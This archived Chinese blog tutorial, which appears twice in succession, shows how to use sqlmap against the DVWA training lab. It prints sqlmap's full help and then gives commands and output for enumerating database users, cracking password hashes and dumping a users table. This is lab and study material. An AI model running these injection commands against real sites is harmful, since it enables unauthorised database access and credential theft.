[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-04-27 标题使用SQLMAP注入DVWA分类操作系统 / 安全 标签DVWA·SQL注入·sqlmap使用SQLMAP注入DVWA获取相关信息SQLMAP的帮助文档使用示例笔记仅供学习交流使用请勿进行其他用途当我们知道了一个请求可以注入的时候我们可以使用SQLMAP来自动化的进行注入。获取相关信息首先获取到可以注入的请求以及HTTP头消息。如下图SQLMAP的帮助文档帮助文档很多不过排版很不错还是很好查的实际使用起来还是非常好用的。rootkali:~# sqlmap -hhUsage: python ./sqlmap Options: -h,--helpShow basichelpmessage andexit-hhShow advancedhelpmessage andexit--versionShow programs version number andexit-vVERBOSE Verbosity level:0-6(default1)Target: At least one of these options has to be provided tosetthe target(s)-dDIRECT Direct connection to the database-uURL,--urlURL Target URL(e.g.www.target.com/vuln.php?id1)-lLOGFILE Parse targets from Burp or WebScarab proxy logs-mBULKFILE Scan multiple targets enlistedina given textualfile-rREQUESTFILE Load HTTP request from afile-gGOOGLEDORK Process Google dork results as target URLs-cCONFIGFILE Load options from a configuration INIfileRequest: These options can be used to specify how to connect to the target URL--dataDATA Data string to be sent through POST --param-delPDEL Character usedforsplitting parameter values--cookieCOOKIE HTTP Cookie header --cookie-delCDEL Character usedforsplitting cookie values --load-cookiesL..File containing cookiesinNetscape/wgetformat--drop-set-cookie Ignore Set-Cookie header from response --user-agentAGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header--hostHOST HTTP Host header--refererREFERER HTTP Referer header--headersHEADERS Extra headers(e.g.Accept-Language: fr ETag: 123)--auth-typeAUTH..HTTP authenticationtype(Basic, Digest, NTLM or Cert)--auth-credAUTH..HTTP authentication credentials(name:password)--auth-certAUTH..HTTP authentication certificate(key_file,cert_file)--proxyPROXY Use a proxy to connect to the target URL --proxy-credPRO..Proxy authentication credentials(name:password)--proxy-filePRO..Load proxy list from afile--ignore-proxy Ignore system default proxy settings--torUse Tor anonymity network --tor-portTORPORT Set Tor proxy port other than default --tor-typeTORTYPE Set Tor proxytype(HTTP(default), SOCKS4 or SOCKS5)--check-tor Check to seeifTor is used properly--delayDELAY Delayinseconds between each HTTP request--timeoutTIMEOUT Seconds towaitbeforetimeoutconnection(default30)--retriesRETRIES Retries when the connection timeouts(default3)--randomizeRPARAM Randomly change valueforgiven parameter(s)--safe-urlSAFURL URL address to visit frequently during testing --safe-freqSAFREQ Test requests between two visits to a given safe URL --skip-urlencode Skip URL encoding of payload data --force-ssl Force usage of SSL/HTTPS--hppUse HTTP parameter pollution--evalEVALCODE Evaluate provided Python code before the request(e.g.import hashlib;id2hashlib.md5(id).hexdigest())Optimization: These options can be used to optimize the performance of sqlmap-oTurn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s)connections --null-connection Retrieve page length without actual HTTP response body--threadsTHREADS Max number of concurrent HTTP(s)requests(default1)Injection: These options can be used to specifywhichparameters totestfor, provide custom injection payloads and optional tampering scripts-pTESTPARAMETER Testable parameter(s)--skipSKIP Skip testingforgiven parameter(s)--dbmsDBMS Force back-end DBMS to this value --dbms-credDBMS..DBMS authentication credentials(user:password)--osOS Force back-end DBMS operating system to this value --invalid-bignum Use big numbersforinvalidating values --invalid-logical Use logical operationsforinvalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism--prefixPREFIX Injection payload prefix string--suffixSUFFIX Injection payload suffix string--tamperTAMPER Use given script(s)fortampering injection data Detection: These options can be used to customize the detection phase--levelLEVEL Level of tests to perform(1-5, default1)--riskRISK Risk of tests to perform(0-3, default1)--stringSTRING String to match when query is evaluated to True --not-stringNOT..String to match when query is evaluated to False--regexpREGEXP Regexp to match when query is evaluated to True--codeCODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content--titlesCompare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques--techniqueTECH SQL injection techniques to use(defaultBEUSTQ)--time-secTIMESEC Seconds to delay the DBMS response(default5)--union-colsUCOLS Range of columns totestforUNION query SQL injection --union-charUCHAR Character to useforbruteforcing number of columns --union-fromUFROM Table to useinFROM part of UNION query SQL injection --dns-domainDNS..Domain name usedforDNS exfiltration attack --second-orderS..Resulting page URL searchedforsecond-order response Fingerprint: -f,--fingerprintPerform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data containedinthe tables. Moreover you can run your own SQL statements -a,--allRetrieve everything -b,--bannerRetrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database--hostnameRetrieve DBMS serverhostname--is-dba Detectifthe DBMS current user is DBA--usersEnumerate DBMSusers--passwordsEnumerate DBMSuserspassword hashes--privilegesEnumerate DBMSusersprivileges--rolesEnumerate DBMSusersroles--dbsEnumerate DBMS databases--tablesEnumerate DBMS database tables--columnsEnumerate DBMS database table columns--schemaEnumerate DBMS schema--countRetrieve number of entriesfortable(s)--dumpDump DBMS database table entries --dump-all Dump all DBMS databases tables entries--searchSearch column(s), table(s)and/or database name(s)--commentsRetrieve DBMS comments-DDB DBMS database to enumerate-TTBL DBMS database table to enumerate-CCOL DBMS database tablecolumnto enumerate-UUSERDBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables--startLIMITSTART First query output entry to retrieve--stopLIMITSTOP Last query output entry to retrieve--firstFIRSTCHAR First query output word character to retrieve--lastLASTCHAR Last query output word character to retrieve --sql-queryQUERY SQL statement to be executed --sql-shell Promptforan interactive SQL shell --sql-fileSQLFILE Execute SQL statements from given file(s)Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-definedfunctioninjection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-libSHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlyingfilesystem --file-readRFILE Read afilefrom the back-end DBMSfilesystem --file-writeWFILE Write alocalfileon the back-end DBMSfilesystem --file-destDFILE Back-end DBMS absolute filepath towriteto Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmdOSCMD Execute an operating systemcommand--os-shell Promptforan interactive operating system shell --os-pwn Promptforan OOB shell, meterpreter or VNC --os-smbrelay One click promptforan OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-pathMSFPATH Local path where Metasploit Framework is installed --tmp-pathTMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-keyREGKEY Windows registry key --reg-valueREGVAL Windows registry key value --reg-dataREGDATA Windows registry key value data --reg-typeREGTYPE Windows registry key valuetypeGeneral: These options can be used tosetsome general working parameters-sSESSIONFILE Load session from a stored(.sqlite)file-tTRAFFICFILE Log all HTTP traffic into a textualfile--batchNever askforuser input, use the default behaviour--charsetCHARSET Force character encoding usedfordata retrieval--crawlCRAWLDEPTH Crawl the website starting from the target URL --csv-delCSVDEL Delimiting character usedinCSV output(default,)--dump-formatDU..Format of dumped data(CSV(default), HTML or SQLITE)--etaDisplayforeach output the estimatedtimeof arrival --flush-session Flush session filesforcurrent target--formsParse andtestforms on target URL --fresh-queries Ignore query results storedinsessionfile--hexUse DBMS hex function(s)fordata retrieval --output-dirODIR Custom output directory path --parse-errors Parse and display DBMS error messages from responses --pivot-columnP..Pivotcolumnname--saveSave options to a configuration INIfile--scopeSCOPE Regexp to filter targets from provided proxy log --test-filterTE..Select tests by payloads and/or titles(e.g. ROW)--updateUpdate sqlmap Miscellaneous:-zMNEMONICS Use short mnemonics(e.g.flu,bat,ban,tecEU)--alertALERT Run shell command(s)when SQL injection is found--answersANSWERS Set question answers(e.g.quitN,followN)--beepMake a beep sound when SQL injection is found --check-waf Heuristically checkforWAF/IPS/IDS protection--cleanupClean up the DBMS from sqlmap specific UDF and tables--dependenciesCheckformissing(non-core)sqlmap dependencies --disable-coloring Disable console output coloring--gpageGOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a through testingfora WAF/IPS/IDS protection--mobileImitate smartphone through HTTP User-Agent header --page-rank Display page rank(PR)forGoogle dork results --purge-output Safely remove all content from output directory--smartConduct through tests onlyifpositive heuristic(s)--wizardSimple wizard interfaceforbeginnerusers[*]shutting down at20:23:00使用示例查看当前数据库的信息rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 -a。。。。。。 。。。。。。 web application technology: PHP5.5.11, Apache2.4.9 back-end DBMS: MySQL5.0banner:5.6.16[20:27:15][INFO]fetching current user current user:rootlocalhost[20:27:15][INFO]fetching current database current database:dvwa[20:27:15][INFO]fetching serverhostname[20:27:15][WARNING]reflective value(s)found and filtering out hostname:cstriker1407-ubuntu[20:27:15][INFO]testingifcurrent user is DBA[20:27:15][INFO]fetching current user current user is DBA: True[20:27:16][INFO]fetching databaseusersdatabase management systemusers[5]:[*]linux[*]localhost[*]pmalocalhost[*]rootlinux[*]rootlocalhost。。。。。。 。。。。。。上述命令也会提示是否破解密码我们也可以使用下面的命令来破解密码rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 --users --password。。。。。 。。。。。 database management systemusers[5]:[*]linux[*]localhost[*]pmalocalhost[*]rootlinux[*]rootlocalhost[20:29:56][INFO]fetching databaseuserspassword hashesdoyou want to store hashes to a temporaryfileforeventual further processing with other toolsdoyou want to perform a dictionary-based attack against retrieved password hashes?[Y/n/q][20:30:01][INFO]usinghashmethodmysql_passwd[20:30:01][INFO]resuming password123456forhash*6bb4837eb74329105ee4568dda7dc67ed2ca2ad9foruserrootdatabase management systemuserspassword hashes:[*]pma[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[*]root[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[20:30:01][INFO]fetched data logged to text files under/usr/share/sqlmap/output/192.168.168.109[*]shutting down at20:30:01TUOKU这里选择 dvwa 数据库的 users 表sqlmap也会提示是否破解rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 -D dvwa -T users --dump。。。。。 。。。。。[20:35:26][INFO]postprocessing table dump Database: dvwa Table:users[5entries]-----------------------------------------------------------------------------------------------------------------------|user_id|user|avatar|password|last_name|first_name|-----------------------------------------------------------------------------------------------------------------------|1|admin|dvwa/hackable/users/admin.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|admin|admin||2|gordonb|dvwa/hackable/users/gordonb.jpg|e99a18c428cb38d5f260853678922e03(abc123)|Brown|Gordon||3|1337|dvwa/hackable/users/1337.jpg|8d3533d75ae2c3966d7e0d4fcc69216b(charley)|Me|Hack||4|pablo|dvwa/hackable/users/pablo.jpg|0d107d09f5bbe40cade3de5c71e9e9b7(letmein)|Picasso|Pablo||5|smithy|dvwa/hackable/users/smithy.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|Smith|Bob|-----------------------------------------------------------------------------------------------------------------------[20:35:26][INFO]tabledvwa.usersdumped to CSVfile/usr/share/sqlmap/output/192.168.168.109/dump/dvwa/users.csv[20:35:26][INFO]fetched data logged to text files under/usr/share/sqlmap/output/192.168.168.109[*]shutting down at20:35:26 【2014-04-27】使用SQLMAP注入DVWA
[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-04-27 标题使用SQLMAP注入DVWA分类操作系统 / 安全 标签DVWA·SQL注入·sqlmap使用SQLMAP注入DVWA获取相关信息SQLMAP的帮助文档使用示例笔记仅供学习交流使用请勿进行其他用途当我们知道了一个请求可以注入的时候我们可以使用SQLMAP来自动化的进行注入。获取相关信息首先获取到可以注入的请求以及HTTP头消息。如下图SQLMAP的帮助文档帮助文档很多不过排版很不错还是很好查的实际使用起来还是非常好用的。rootkali:~# sqlmap -hhUsage: python ./sqlmap Options: -h,--helpShow basichelpmessage andexit-hhShow advancedhelpmessage andexit--versionShow programs version number andexit-vVERBOSE Verbosity level:0-6(default1)Target: At least one of these options has to be provided tosetthe target(s)-dDIRECT Direct connection to the database-uURL,--urlURL Target URL(e.g.www.target.com/vuln.php?id1)-lLOGFILE Parse targets from Burp or WebScarab proxy logs-mBULKFILE Scan multiple targets enlistedina given textualfile-rREQUESTFILE Load HTTP request from afile-gGOOGLEDORK Process Google dork results as target URLs-cCONFIGFILE Load options from a configuration INIfileRequest: These options can be used to specify how to connect to the target URL--dataDATA Data string to be sent through POST --param-delPDEL Character usedforsplitting parameter values--cookieCOOKIE HTTP Cookie header --cookie-delCDEL Character usedforsplitting cookie values --load-cookiesL..File containing cookiesinNetscape/wgetformat--drop-set-cookie Ignore Set-Cookie header from response --user-agentAGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header--hostHOST HTTP Host header--refererREFERER HTTP Referer header--headersHEADERS Extra headers(e.g.Accept-Language: fr ETag: 123)--auth-typeAUTH..HTTP authenticationtype(Basic, Digest, NTLM or Cert)--auth-credAUTH..HTTP authentication credentials(name:password)--auth-certAUTH..HTTP authentication certificate(key_file,cert_file)--proxyPROXY Use a proxy to connect to the target URL --proxy-credPRO..Proxy authentication credentials(name:password)--proxy-filePRO..Load proxy list from afile--ignore-proxy Ignore system default proxy settings--torUse Tor anonymity network --tor-portTORPORT Set Tor proxy port other than default --tor-typeTORTYPE Set Tor proxytype(HTTP(default), SOCKS4 or SOCKS5)--check-tor Check to seeifTor is used properly--delayDELAY Delayinseconds between each HTTP request--timeoutTIMEOUT Seconds towaitbeforetimeoutconnection(default30)--retriesRETRIES Retries when the connection timeouts(default3)--randomizeRPARAM Randomly change valueforgiven parameter(s)--safe-urlSAFURL URL address to visit frequently during testing --safe-freqSAFREQ Test requests between two visits to a given safe URL --skip-urlencode Skip URL encoding of payload data --force-ssl Force usage of SSL/HTTPS--hppUse HTTP parameter pollution--evalEVALCODE Evaluate provided Python code before the request(e.g.import hashlib;id2hashlib.md5(id).hexdigest())Optimization: These options can be used to optimize the performance of sqlmap-oTurn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s)connections --null-connection Retrieve page length without actual HTTP response body--threadsTHREADS Max number of concurrent HTTP(s)requests(default1)Injection: These options can be used to specifywhichparameters totestfor, provide custom injection payloads and optional tampering scripts-pTESTPARAMETER Testable parameter(s)--skipSKIP Skip testingforgiven parameter(s)--dbmsDBMS Force back-end DBMS to this value --dbms-credDBMS..DBMS authentication credentials(user:password)--osOS Force back-end DBMS operating system to this value --invalid-bignum Use big numbersforinvalidating values --invalid-logical Use logical operationsforinvalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism--prefixPREFIX Injection payload prefix string--suffixSUFFIX Injection payload suffix string--tamperTAMPER Use given script(s)fortampering injection data Detection: These options can be used to customize the detection phase--levelLEVEL Level of tests to perform(1-5, default1)--riskRISK Risk of tests to perform(0-3, default1)--stringSTRING String to match when query is evaluated to True --not-stringNOT..String to match when query is evaluated to False--regexpREGEXP Regexp to match when query is evaluated to True--codeCODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content--titlesCompare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques--techniqueTECH SQL injection techniques to use(defaultBEUSTQ)--time-secTIMESEC Seconds to delay the DBMS response(default5)--union-colsUCOLS Range of columns totestforUNION query SQL injection --union-charUCHAR Character to useforbruteforcing number of columns --union-fromUFROM Table to useinFROM part of UNION query SQL injection --dns-domainDNS..Domain name usedforDNS exfiltration attack --second-orderS..Resulting page URL searchedforsecond-order response Fingerprint: -f,--fingerprintPerform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data containedinthe tables. Moreover you can run your own SQL statements -a,--allRetrieve everything -b,--bannerRetrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database--hostnameRetrieve DBMS serverhostname--is-dba Detectifthe DBMS current user is DBA--usersEnumerate DBMSusers--passwordsEnumerate DBMSuserspassword hashes--privilegesEnumerate DBMSusersprivileges--rolesEnumerate DBMSusersroles--dbsEnumerate DBMS databases--tablesEnumerate DBMS database tables--columnsEnumerate DBMS database table columns--schemaEnumerate DBMS schema--countRetrieve number of entriesfortable(s)--dumpDump DBMS database table entries --dump-all Dump all DBMS databases tables entries--searchSearch column(s), table(s)and/or database name(s)--commentsRetrieve DBMS comments-DDB DBMS database to enumerate-TTBL DBMS database table to enumerate-CCOL DBMS database tablecolumnto enumerate-UUSERDBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables--startLIMITSTART First query output entry to retrieve--stopLIMITSTOP Last query output entry to retrieve--firstFIRSTCHAR First query output word character to retrieve--lastLASTCHAR Last query output word character to retrieve --sql-queryQUERY SQL statement to be executed --sql-shell Promptforan interactive SQL shell --sql-fileSQLFILE Execute SQL statements from given file(s)Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-definedfunctioninjection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-libSHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlyingfilesystem --file-readRFILE Read afilefrom the back-end DBMSfilesystem --file-writeWFILE Write alocalfileon the back-end DBMSfilesystem --file-destDFILE Back-end DBMS absolute filepath towriteto Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmdOSCMD Execute an operating systemcommand--os-shell Promptforan interactive operating system shell --os-pwn Promptforan OOB shell, meterpreter or VNC --os-smbrelay One click promptforan OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-pathMSFPATH Local path where Metasploit Framework is installed --tmp-pathTMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-keyREGKEY Windows registry key --reg-valueREGVAL Windows registry key value --reg-dataREGDATA Windows registry key value data --reg-typeREGTYPE Windows registry key valuetypeGeneral: These options can be used tosetsome general working parameters-sSESSIONFILE Load session from a stored(.sqlite)file-tTRAFFICFILE Log all HTTP traffic into a textualfile--batchNever askforuser input, use the default behaviour--charsetCHARSET Force character encoding usedfordata retrieval--crawlCRAWLDEPTH Crawl the website starting from the target URL --csv-delCSVDEL Delimiting character usedinCSV output(default,)--dump-formatDU..Format of dumped data(CSV(default), HTML or SQLITE)--etaDisplayforeach output the estimatedtimeof arrival --flush-session Flush session filesforcurrent target--formsParse andtestforms on target URL --fresh-queries Ignore query results storedinsessionfile--hexUse DBMS hex function(s)fordata retrieval --output-dirODIR Custom output directory path --parse-errors Parse and display DBMS error messages from responses --pivot-columnP..Pivotcolumnname--saveSave options to a configuration INIfile--scopeSCOPE Regexp to filter targets from provided proxy log --test-filterTE..Select tests by payloads and/or titles(e.g. ROW)--updateUpdate sqlmap Miscellaneous:-zMNEMONICS Use short mnemonics(e.g.flu,bat,ban,tecEU)--alertALERT Run shell command(s)when SQL injection is found--answersANSWERS Set question answers(e.g.quitN,followN)--beepMake a beep sound when SQL injection is found --check-waf Heuristically checkforWAF/IPS/IDS protection--cleanupClean up the DBMS from sqlmap specific UDF and tables--dependenciesCheckformissing(non-core)sqlmap dependencies --disable-coloring Disable console output coloring--gpageGOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a through testingfora WAF/IPS/IDS protection--mobileImitate smartphone through HTTP User-Agent header --page-rank Display page rank(PR)forGoogle dork results --purge-output Safely remove all content from output directory--smartConduct through tests onlyifpositive heuristic(s)--wizardSimple wizard interfaceforbeginnerusers[*]shutting down at20:23:00使用示例查看当前数据库的信息rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 -a。。。。。。 。。。。。。 web application technology: PHP5.5.11, Apache2.4.9 back-end DBMS: MySQL5.0banner:5.6.16[20:27:15][INFO]fetching current user current user:rootlocalhost[20:27:15][INFO]fetching current database current database:dvwa[20:27:15][INFO]fetching serverhostname[20:27:15][WARNING]reflective value(s)found and filtering out hostname:cstriker1407-ubuntu[20:27:15][INFO]testingifcurrent user is DBA[20:27:15][INFO]fetching current user current user is DBA: True[20:27:16][INFO]fetching databaseusersdatabase management systemusers[5]:[*]linux[*]localhost[*]pmalocalhost[*]rootlinux[*]rootlocalhost。。。。。。 。。。。。。上述命令也会提示是否破解密码我们也可以使用下面的命令来破解密码rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 --users --password。。。。。 。。。。。 database management systemusers[5]:[*]linux[*]localhost[*]pmalocalhost[*]rootlinux[*]rootlocalhost[20:29:56][INFO]fetching databaseuserspassword hashesdoyou want to store hashes to a temporaryfileforeventual further processing with other toolsdoyou want to perform a dictionary-based attack against retrieved password hashes?[Y/n/q][20:30:01][INFO]usinghashmethodmysql_passwd[20:30:01][INFO]resuming password123456forhash*6bb4837eb74329105ee4568dda7dc67ed2ca2ad9foruserrootdatabase management systemuserspassword hashes:[*]pma[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[*]root[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[20:30:01][INFO]fetched data logged to text files under/usr/share/sqlmap/output/192.168.168.109[*]shutting down at20:30:01TUOKU这里选择 dvwa 数据库的 users 表sqlmap也会提示是否破解rootkali:~# sqlmap -u http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDermi7gj68qhu6o2oi7s279fej0 -D dvwa -T users --dump。。。。。 。。。。。[20:35:26][INFO]postprocessing table dump Database: dvwa Table:users[5entries]-----------------------------------------------------------------------------------------------------------------------|user_id|user|avatar|password|last_name|first_name|-----------------------------------------------------------------------------------------------------------------------|1|admin|dvwa/hackable/users/admin.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|admin|admin||2|gordonb|dvwa/hackable/users/gordonb.jpg|e99a18c428cb38d5f260853678922e03(abc123)|Brown|Gordon||3|1337|dvwa/hackable/users/1337.jpg|8d3533d75ae2c3966d7e0d4fcc69216b(charley)|Me|Hack||4|pablo|dvwa/hackable/users/pablo.jpg|0d107d09f5bbe40cade3de5c71e9e9b7(letmein)|Picasso|Pablo||5|smithy|dvwa/hackable/users/smithy.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|Smith|Bob|-----------------------------------------------------------------------------------------------------------------------[20:35:26][INFO]tabledvwa.usersdumped to CSVfile/usr/share/sqlmap/output/192.168.168.109/dump/dvwa/users.csv[20:35:26][INFO]fetched data logged to text files under/usr/share/sqlmap/output/192.168.168.109[*]shutting down at20:35:26